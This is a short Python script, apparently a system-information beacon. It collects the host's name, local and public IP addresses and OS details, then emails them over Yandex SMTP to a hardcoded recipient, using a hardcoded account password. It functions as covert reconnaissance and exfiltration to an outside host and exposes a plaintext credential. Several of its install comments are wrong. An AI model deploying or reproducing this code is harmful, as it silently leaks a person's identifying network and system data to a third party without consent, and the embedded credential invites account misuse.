import smtplib as smtp #pip install sntplib import socket #pip install socket from getpass import getpass #pip install getpass from requests import get #pip install requests import psutil #pip install psutil import datetime import platform hostname = socket.gethostname() local_ip = socket.gethostbyname(hostname) public_ip = get('http://api.ipify.org').text email = 'py.tester@yandex.ru' password = 'heggremmeyleaqxi' dest_email = 'pasha33.pro@yandex.ru' subject = 'IP' ost = platform.uname() email_text = (f'Host: {hostname}\nLocal IP: {local_ip}\nPublic IP: {public_ip}\nOC info: {ost}') message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, dest_email, subject, email_text) server = smtp.SMTP_SSL('smtp.yandex.com') server.set_debuglevel(1) server.ehlo(email) server.login(email, password) server.auth_plain() server.sendmail(email, dest_email, message) server.quit()